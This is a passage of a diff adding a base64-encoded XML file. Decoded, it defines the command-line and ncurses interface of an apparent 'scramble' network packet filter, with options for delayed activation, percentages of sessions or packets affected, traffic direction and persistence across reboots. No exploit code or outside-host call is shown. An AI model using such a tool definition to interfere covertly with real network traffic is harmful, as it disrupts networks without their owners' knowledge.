+cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVt
+YmVyPjU8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAg
+ICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3Jh
+bWJsZV9jcmVhdGVfYXR0cmliXzY8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2Vs
+YWJlbD5EZXN0aW5hdGlvbiBNYXNrPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICA8dHlw
+ZT5pcHY0PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2PC9zaXplPg0KICAgICAgICAg
+ICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAg
+IDxhcmdudW1iZXI+NjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRy
+aWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzc8
+L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U3RhcnQgRHN0IFBvcnQ8L25j
+dXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0
+eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAg
+ICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAg
+ICAgICA8YXJnbnVtYmVyPjc8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+
+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJp
+Yl84PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkVuZCBEc3QgUG9ydDwv
+bmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAg
+PHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAg
+ICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAg
+ICAgICAgIDxhcmdudW1iZXI+ODwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0
+ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFu
+ZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAg
+PG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfOTwvbmN1cnNlaWQ+DQogICAgICAgICAg
+ICAgICAgPG5jdXJzZWxhYmVsPlByb3RvY29sPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAg
+ICA8dHlwZT5zdHJpbmc8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTY8L3NpemU+DQog
+ICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAg
+ICAgICAgICAgPGFyZ251bWJlcj45PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmli
+dXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L3JlcXVp
+cmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAg
+ICA8L2F0dHJpYnV0ZXM+DQogICAgICAgIDxwYXJhbWV0ZXJzPg0KICAgICAgICAgIDxyZXF1aXJl
+ZF9wYXJhbWV0ZXJzLz4NCiAgICAgICAgICA8b3B0aW9uYWxfcGFyYW1ldGVycz4NCiAgICAgICAg
+ICAgIDxwYXJhbWV0ZXIgZmxhZz0iZW4iPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5m
+YWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3Bh
+cmFtX2VuPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkVuYWJsZTwvbmN1
+cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5
+cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTwvc2l6ZT4NCiAgICAg
+ICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAg
+ICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDQ8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8
+YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+RW5hYmxl
+cyB0aGUgcnVsZSBvbiBjcmVhdGlvbjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmli
+dXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZs
+YWc9InBzIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRp
+dmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9wczwvbmN1cnNlaWQ+
+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5QZXJzaXN0PC9uY3Vyc2VsYWJlbD4NCiAgICAg
+ICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5wcmVzZW5jZTwvdHlw
+ZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZh
+dWx0dmFsdWU+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+
+MHgwRjAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJn
+bnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5FbmFibGUgdGhlIGZpbHRlciB0byBz
+dXJ2aXZlIHJlYm9vdHMuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQog
+ICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iciI+
+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAg
+ICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fcjwvbmN1cnNlaWQ+DQogICAgICAg
+ICAgICAgIDxuY3Vyc2VsYWJlbD5BdXRvIFJlc3RhcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAg
+ICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnByZXNlbmNlPC90eXBlPg0K
+ICAgICAgICAgICAgICAgIDxzaXplPjE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2
+YWx1ZT50cnVlPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBG
+MDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xMDwvYXJnbnVt
+YmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5BdXRvbWF0aWNhbGx5IHJlLWVuYWJsZSB0
+aGUgZmlsdGVyIHdoZW4gdGVybWluYXRpb24gaXMgcmVhY2hlZC48L2hlbHB0ZXh0Pg0KICAgICAg
+ICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAg
+ICAgPHBhcmFtZXRlciBmbGFnPSJ0ZCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZh
+bHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFy
+YW1fdGQ8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+VGltZSBEZWxheTwv
+bmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAg
+PHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE1PC9zaXplPg0KICAg
+ICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAg
+ICAgICAgIDxhcmdudW1iZXI+MTE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRl
+eHQ+VGltZSBiZWZvcmUgZmlsdGVyIGFmZmVjdHMgcGFja2V0cy4gIFRoZSBmb3JtYXQgY2FuIGJl
+IHNlY29uZHMgaS5lLiAzNjAwLCBvciBvbmUgY2hhcmFjdGVyIHNwZWNpZmllcnMgZm9yIGRheXMs
+IGhvdXJzLCBtaW51dGVzLCBhbmQgc2Vjb25kcyBpLmUuIDFkIDJoIDNtIDRzLjwvaGVscHRleHQ+
+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQog
+ICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InQiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNp
+dGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFt
+YmxlX3BhcmFtX3Q8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+VGltZSBE
+dXJhdGlvbjwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAg
+ICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE1PC9z
+aXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0K
+ICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAg
+ICA8aGVscHRleHQ+RHVyYXRpb24gcGFja2V0cyB3aWxsIGJlIGFmZmVjdGVkIGJ5IGZpbHRlci4g
+IFRoZSBmb3JtYXQgY2FuIGJlIHNlY29uZHMgaS5lLiAzNjAwLCBvciBvbmUgY2hhcmFjdGVyIHNw
+ZWNpZmllcnMgZm9yIGRheXMsIGhvdXJzLCBtaW51dGVzLCBhbmQgc2Vjb25kcyBpLmUuIDFkIDJo
+IDNtIDRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAg
+ICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InNkIj4NCiAgICAg
+ICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAg
+ICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9zZDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAg
+IDxuY3Vyc2VsYWJlbD5TZXNzaW9uIERlbGF5PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAg
+PGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAg
+ICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4w
+PC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9w
+cmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xMzwvYXJnbnVtYmVyPg0KICAg
+ICAgICAgICAgICAgIDxoZWxwdGV4dD5OdW1iZXIgb2Ygc2Vzc2lvbnMgdG8gaWdub3JlIGJlZm9y
+ZSBmaWx0ZXIgYWZmZWN0cyBwYWNrZXRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVy
+IGZsYWc9InMiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNp
+dGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3M8L25jdXJzZWlk
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U2Vzc2lvbiBQZXJjZW50YWdlPC9uY3Vyc2Vs
+YWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51
+aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAg
+ICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHBy
+aW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJl
+cj4xNDwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5QZXJjZW50YWdlIG9m
+IHNlc3Npb25zIGZpbHRlciB3aWxsIGFmZmVjdC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8
+L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFt
+ZXRlciBmbGFnPSJzbSI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNl
+c2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fc208L25j
+dXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+TWF4IFNlc3Npb25zPC9uY3Vyc2Vs
+YWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51
+aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAg
+ICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHBy
+aW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJl
+cj4xNTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5NYXhpbXVtIG51bWJl
+ciBvZiBzZXNzaW9uIHRvIGFmZmVjdCBiZWZvcmUgZmlsdGVyIGlzIHRlcm1pbmF0ZWQuPC9oZWxw
+dGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRl
+cj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icGQiPg0KICAgICAgICAgICAgICA8Y2Fz
+ZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlk
+PnNjcmFtYmxlX3BhcmFtX3BkPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVs
+PlBhY2tldCBEZWxheTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQog
+ICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXpl
+PjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVl
+Pg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAg
+ICAgICAgICAgICAgIDxhcmdudW1iZXI+MTY8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8
+aGVscHRleHQ+TnVtYmVyIG9mIHBhY2tldHMgdG8gaWdub3JlIGJlZm9yZSBmaWx0ZXIgYWZmZWN0
+cyBwYWNrZXRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAg
+ICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InAiPg0KICAg
+ICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3A8L25jdXJzZWlkPg0KICAgICAgICAgICAg
+ICA8bmN1cnNlbGFiZWw+UGFja2V0IFBlcmNlbnRhZ2U8L25jdXJzZWxhYmVsPg0KICAgICAgICAg
+ICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAg
+ICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZh
+bHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAw
+MDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE3PC9hcmdudW1iZXI+
+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PlBlcmNlbnRhZ2Ugb2YgcGFja2V0cyBmaWx0ZXIg
+d2lsbCBhZmZlY3QuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAg
+ICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icG0iPg0K
+ICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAg
+ICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3BtPC9uY3Vyc2VpZD4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWxhYmVsPk1heCBQYWNrZXRzPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAg
+ICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAg
+ICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1
+ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAz
+PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xODwvYXJnbnVtYmVyPg0K
+ICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5NYXhpbXVtIG51bWJlciBvZiBwYWNrZXRzIHRvIGFm
+ZmVjdCBiZWZvcmUgZmlsdGVyIGlzIHRlcm1pbmF0ZWQuPC9oZWxwdGV4dD4NCiAgICAgICAgICAg
+ICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxw
+YXJhbWV0ZXIgZmxhZz0iZGlyIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8
+L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9k
+aXI8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+RGlyZWN0aW9uPC9uY3Vy
+c2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlw
+ZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAg
+ICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAg
+PHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251
+bWJlcj4xOTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5UaGUgZGlyZWN0
+aW9uIGluIGEgY2xpZW50IHNlcnZlciBjb25uZWN0aW9uIHRoYXQgdGhpcyBmaWx0ZXIgYXBwbGll
+cyB0by4gIElmIGZsYWcgaXMgbm90IHVzZWQsIGJvdGggZGlyZWN0aW9uIHdpbGwgYmUgZmlsdGVy
+ZWQgb24uICBJZiAxIGlzIGVudGVyZWQsIG9ubHkgY29ubmVjdGlvbnMgZnJvbSB0aGUgY2xpZW50
+IHdpbGwgYmUgZmlsdGVyZWQgb24uICBJZiAyLCBvbmx5IHRob3NlIGZyb20gdGhlIHNlcnZlci48
+L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFy
+YW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJsIj4NCiAgICAgICAgICAgICAg
+PGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vy
+c2VpZD5zY3JhbWJsZV9wYXJhbV9sPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxh
+YmVsPlRDUCBQb3J0IE1pbmltdW08L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmli
+dXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAg
+ICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1
+bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMEI8L3ByaW1pdGl2
+ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAg
+ICAgICA8aGVscHRleHQ+TWluaW11bSB2YWx1ZSBmb3IgdGNwIHBvcnQgYXNzaWdubWVudC48L2hl
+bHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1l
+dGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJoaSI+DQogICAgICAgICAgICAgIDxj
+YXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNl
+aWQ+c2NyYW1ibGVfcGFyYW1faDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJl
+bD5UQ1AgUG9ydCBNYXhpbXVtPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0
+ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAg
+PHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0
+dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDBCPC9wcmltaXRpdmU+
+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4zPC9hcmdudW1iZXI+DQogICAgICAgICAgICAg
+ICAgPGhlbHB0ZXh0Pk1heGltdW0gdmFsdWUgZm9yIHRjcCBwb3J0IGFzc2lnbm1lbnQuPC9oZWxw
+dGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRl
+cj4NCiAgICAgICAgICA8L29wdGlvbmFsX3BhcmFtZXRlcnM+DQogICAgICAgIDwvcGFyYW1ldGVy
+cz4NCiAgICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAg
+ICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0
+cmliXzE8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9h
+dHRyaWJfMjwvZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRl
+X2F0dHJpYl8zPC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVh
+dGVfYXR0cmliXzQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAg
+IDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJf
+NTwvZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJp
+Yl82PC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0
+cmliXzc8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9h
+dHRyaWJfODwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2Vj
+dGlvbj4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAg
+ICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfOTwvZWxlbWVudD4NCiAgICAg
+ICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbi8+DQogICAgICAgICAgPC9zZWN0
+aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAg
+ICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fZW48L2VsZW1lbnQ+DQogICAgICAgICAgICA8
+L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNj
+cmFtYmxlX3BhcmFtX3BzPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAg
+ICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9yPC9l
+bGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAg
+ICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgICA8
+ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV90ZDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1u
+Pg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJs
+ZV9wYXJhbV90PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9z
+ZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAg
+ICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fc2Q8L2VsZW1lbnQ+DQogICAgICAgICAg
